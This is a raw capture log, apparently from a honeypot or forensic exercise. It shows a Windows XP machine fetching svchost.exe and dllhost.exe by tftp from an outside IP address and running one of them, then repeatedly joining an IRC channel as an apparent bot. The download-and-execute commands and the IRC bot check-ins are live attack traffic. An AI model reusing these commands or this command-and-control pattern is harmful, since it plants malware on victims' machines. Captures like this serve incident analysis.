VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> VICTIM: tftp -i 41.243.152.164 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: \000\004\000; VICTIM: \000\004\000< VICTIM: \000\004\000= VICTIM: \000\004\000> VICTIM: \000\004\000? VICTIM: \000\004\000@ VICTIM: \000\004\000A VICTIM: \000\004\000B VICTIM: \000\004\000C VICTIM: \000\004\000D VICTIM: \000\004\000E VICTIM: \000\004\000F VICTIM: \000\004\000G VICTIM: \000\004\000H VICTIM: \000\004\000I VICTIM: \000\004\000J VICTIM: \000\004\000K VICTIM: \000\004\000L VICTIM: \000\004\000M VICTIM: \000\004\000N VICTIM: \000\004\000O VICTIM: \000\004\000P VICTIM: \000\004\000Q VICTIM: \000\004\000R VICTIM: \000\004\000S VICTIM: \000\004\000T VICTIM: \000\004\000U VICTIM: \000\004\000V VICTIM: \000\004\000W VICTIM: \000\004\000X VICTIM: \000\004\000Y VICTIM: \000\004\000Z VICTIM: \000\004\000[ VICTIM: \000\004\000\\ VICTIM: \000\004\000] VICTIM: \000\004\000^ VICTIM: Transfer successful: 47616 bytes in 47 seconds, 1013 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: tftp -i 41.243.152.164 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: Transfer successful: 26624 bytes in 28 seconds, 950 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: wins\\DLLHOST.EXEC:\\WINDOWS\\system32> VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response VICTIM: JOIN #ToR g3t0u7 ATTACKER: :norks.org 001 pqserkosc :Welcome to the Internet Relay Network pqserkosc:norks.org 002 pqserkosc :Your host is localhost, running version 2.9/hybrid-6.3NOTICE pqserkosc :*** Your host is localhost, running version 2.9/hybrid-6.3:norks.org 003 pqserkosc :This server was created Thu Dec 6 2001 at 11:52:49 GMT:norks.org 004 pqserkosc norks.org 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:norks.org 251 pqserkosc :There are 2 users and 0 invisible on 1 servers:norks.org 255 pqserkosc :I have 2 clients and 0 servers:norks.org 265 pqserkosc :Current local users: 2 Max: 2:norks.org 266 pqserkosc :Current global users: 2 Max: 2:norks.org 250 pqserkosc :Highest connection count: 2 (2 clients) (2 since server was (re)started):norks.org 375 pqserkosc :- norks.org Message of the Day -:norks.org 372 pqserkosc :- Where's the kaboom? There was supposed to be an earth shattering kaboom.:norks.org 376 pqserkosc :End of /MOTD command. ATTACKER: :pqserkosc!pqserkosc@192.168.1.253 JOIN :#ToR g3t0u7:norks.org MODE #ToR g3t0u7 +nt:norks.org 353 pqserkosc = #ToR g3t0u7 :@wloos pqserkosc:norks.org 366 pqserkosc #ToR g3t0u7 :End of /NAMES list.:norks.org 332 pqserkosc #ToR g3t0u7 ::norks.org 333 pqserkosc #ToR g3t0u7 pqserkosc 1246069770:wloos!~wloos@norks.org PRIVMSG #ToR g3t0u7 : VICTIM: MODE pqserkosc +i VICTIM: JOIN #ToR g3t0u7 ATTACKER: :pqserkosc!pqserkosc@192.168.1.253 JOIN :#ToR g3t0u7 ATTACKER: :norks.org MODE #ToR g3t0u7 +nt:norks.org 353 pqserkosc = #ToR g3t0u7 :@wloos pqserkosc:norks.org 366 pqserkosc #ToR g3t0u7 :End of /NAMES list.:norks.org 332 pqserkosc #ToR g3t0u7 ::norks.org 333 pqserkosc #ToR g3t0u7 pqserkosc 1246069773:wloos!~wloos@norks.org PRIVMSG #ToR g3t0u7 : VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response ATTACKER: :norks.org 001 pqserkosc :Welcome to the Internet Relay Network pqserkosc:norks.org 002 pqserkosc :Your host is localhost, running version 2.9/hybrid-6.3NOTICE pqserkosc :*** Your host is localhost, running version 2.9/hybrid-6.3:norks.org 003 pqserkosc :This server was created Thu Dec 6 2001 at 11:52:49 GMT:norks.org 004 pqserkosc norks.org 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:norks.org 251 pqserkosc :There are 2 users and 0 invisible on 1 servers:norks.org 255 pqserkosc :I have 2 clients and 0 servers:norks.org 265 pqserkosc :Current local users: 2 Max: 2:norks.org 266 pqserkosc :Current global users: 2 Max: 2:norks.org 250 pqserkosc :Highest connection count: 2 (2 clients) (2 since server was (re)started):norks.org 375 pqserkosc :- norks.org Message of the Day -:norks.org 372 pqserkosc :- Where's the kaboom? There was supposed to be an earth shattering kaboom.:norks.org 376 pqserkosc :End of /MOTD command. VICTIM: JOIN #ToR g3t0u7 ATTACKER: :pqserkosc!pqserkosc@192.168.1.253 JOIN :#ToR g3t0u7 ATTACKER: :norks.org MODE #ToR g3t0u7 +nt:norks.org 353 pqserkosc = #ToR g3t0u7 :@wloos pqserkosc:norks.org 366 pqserkosc #ToR g3t0u7 :End of /NAMES list.:norks.org 332 pqserkosc #ToR g3t0u7 ::norks.org 333 pqserkosc #ToR g3t0u7 pqserkosc 1246069878:wloos!~wloos@norks.org PRIVMSG #ToR g3t0u7 : VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response ATTACKER: :norks.org 001 pqserkosc :Welcome to the Internet Relay Network pqserkosc:norks.org 002 pqserkosc :Your host is localhost, running version 2.9/hybrid-6.3NOTICE pqserkosc :*** Your host is localhost, running version 2.9/hybrid-6.3:norks.org 003 pqserkosc :This server was created Thu Dec 6 2001 at 11:52:49 GMT:norks.org 004 pqserkosc norks.org 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:norks.org 251 pqserkosc :There are 2 users and 0 invisible on 1 servers:norks.org 255 pqserkosc :I have 2 clients and 0 servers:norks.org 265 pqserkosc :Current local users: 2 Max: 2:norks.org 266 pqserkosc :Current global users: 2 Max: 2:norks.org 250 pqserkosc :Highest connection count: 2 (2 clients) (2 since server was (re)started):norks.org 375 pqserkosc :- norks.org Message of the Day -:norks.org 372 pqserkosc :- Where's the kaboom? There was supposed to be an earth shattering kaboom.:norks.org 376 pqserkosc :End of /MOTD command. VICTIM: JOIN #ToR g3t0u7 ATTACKER: :pqserkosc!pqserkosc@192.168.1.253 JOIN :#ToR g3t0u7 ATTACKER: :norks.org MODE #ToR g3t0u7 +nt:norks.org 353 pqserkosc = #ToR g3t0u7 :@wloos pqserkosc:norks.org 366 pqserkosc #ToR g3t0u7 :End of /NAMES list.:norks.org 332 pqserkosc #ToR g3t0u7 ::norks.org 333 pqserkosc #ToR g3t0u7 pqserkosc 1246069968:wloos!~wloos@norks.org PRIVMSG #ToR g3t0u7 : VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response ATTACKER: :norks.org 001 pqserkosc :Welcome to the Internet Relay Network pqserkosc:norks.org 002 pqserkosc :Your host is localhost, running version 2.9/hybrid-6.3NOTICE pqserkosc :*** Your host is localhost, running version 2.9/hybrid-6.3:norks.org 003 pqserkosc :This server was created Thu Dec 6 2001 at 11:52:49 GMT:norks.org 004 pqserkosc norks.org 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:norks.org 251 pqserkosc :There are 2 users and 0 invisible on 1 servers:norks.org 255 pqserkosc :I have 2 clients and 0 servers:norks.org 265 pqserkosc :Current local users: 2 Max: 2:norks.org 266 pqserkosc :Current global users: 2 Max: 2:norks.org 250 pqserkosc :Highest connection count: 2 (2 clients) (2 since server was (re)started):norks.org 375 pqserkosc :- norks.org Message of the Day -:norks.org 372 pqserkosc :- Where's the kaboom? There was supposed to be an earth shattering kaboom.:norks.org 376 pqserkosc :End of /MOTD command. VICTIM: JOIN #ToR g3t0u7 ATTACKER: :pqserkosc!pqserkosc@192.168.1.253 JOIN :#ToR g3t0u7 ATTACKER: :norks.org MODE #ToR g3t0u7 +nt:norks.org 353 pqserkosc = #ToR g3t0u7 :@wloos pqserkosc:norks.org 366 pqserkosc #ToR g3t0u7 :End of /NAMES list.:norks.org 332 pqserkosc #ToR g3t0u7 ::norks.org 333 pqserkosc #ToR g3t0u7 pqserkosc 1246070094:wloos!~wloos@norks.org PRIVMSG #ToR g3t0u7 : VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc ATTACKER: :norks.org 001 pqserkosc :Welcome to the Internet Relay Network pqserkosc:norks.org 002 pqserkosc :Your host is localhost, running version 2.9/hybrid-6.3NOTICE pqserkosc :*** Your host is localhost, running version 2.9/hybrid-6.3:norks.org 003 pqserkosc :This server was created Thu Dec 6 2001 at 11:52:49 GMT:norks.org 004 pqserkosc norks.org 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:norks.org 251 pqserkosc :There are 2 users and 0 invisible on 1 servers:norks.org 255 pqserkosc :I have 2 clients and 0 servers:norks.org 265 pqserkosc :Current local users: 2 Max: 2:norks.org 266 pqserkosc :Current global users: 2 Max: 2:norks.org 250 pqserkosc :Highest connection count: 2 (2 clients) (2 since server was (re)started):norks.org 375 pqserkosc :- norks.org Message of the Day -:norks.org 372 pqserkosc :- Where's the kaboom? There was supposed to be an earth shattering kaboom.:norks.org 376 pqserkosc :End of /MOTD command. VICTIM: JOIN #ToR g3t0u7 ATTACKER: :pqserkosc!pqserkosc@192.168.1.253 JOIN :#ToR g3t0u7 ATTACKER: :norks.org MODE #ToR g3t0u7 +nt:norks.org 353 pqserkosc = #ToR g3t0u7 :@wloos pqserkosc:norks.org 366 pqserkosc #ToR g3t0u7 :End of /NAMES list.:norks.org 332 pqserkosc #ToR g3t0u7 ::norks.org 333 pqserkosc #ToR g3t0u7 pqserkosc 1246070166:wloos!~wloos@norks.org PRIVMSG #ToR g3t0u7 : VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc VICTIM: USER pqserkosc pqserkosc pqserkosc :dETOX/0xFF (win32)NICK pqserkosc ATTACKER: NOTICE AUTH :*** Looking up your hostname...NOTICE AUTH :*** Checking IdentNOTICE AUTH :*** No Ident response ATTACKER: :norks.org 001 pqserkosc :Welcome to the Internet Relay Network pqserkosc:norks.org 002 pqserkosc :Your host is localhost, running version 2.9/hybrid-6.3NOTICE pqserkosc :*** Your host is localhost, running version 2.9/hybrid-6.3:norks.org 003 pqserkosc :This server was created Thu Dec 6 2001 at 11:52:49 GMT:norks.org 004 pqserkosc norks.org 2.8/hybrid-6.2 oOiwszcrkfydnxb biklmnopstve:norks.org 251 pqserkosc :There are 2 users and 0 invisible on 1 servers:norks.org 255 pqserkosc :I have 2 clients and 0 servers:norks.org 265 pqserkosc :Current local users: 2 Max: 2:norks.org 266 pqserkosc :Current global users: 2 Max: 2:norks.org 250 pqserkosc :Highest connection count: 2 (2 clients) (2 since server was (re)started):norks.org 375 pqserkosc :- norks.org Message of the Day -:norks.org 372 pqserkosc :- Where's the kaboom? There was supposed to be an earth shattering kaboom.:norks.org 376 pqserkosc :End of /MOTD command. VICTIM: JOIN #ToR g3t0u7 ATTACKER: :pqserkosc!pqserkosc@192.168.1.253 JOIN :#ToR g3t0u7 ATTACKER: :norks.org MODE #ToR g3t0u7 +nt:norks.org 353 pqserkosc = #ToR g3t0u7 :@wloos pqserkosc:norks.org 366 pqserkosc #ToR g3t0u7 :End of /NAMES list.:norks.org 332 pqserkosc #ToR g3t0u7 ::norks.org 333 pqserkosc #ToR g3t0u7 pqserkosc 1246070329:wloos!~wloos@norks.org PRIVMSG #ToR g3t0u7 :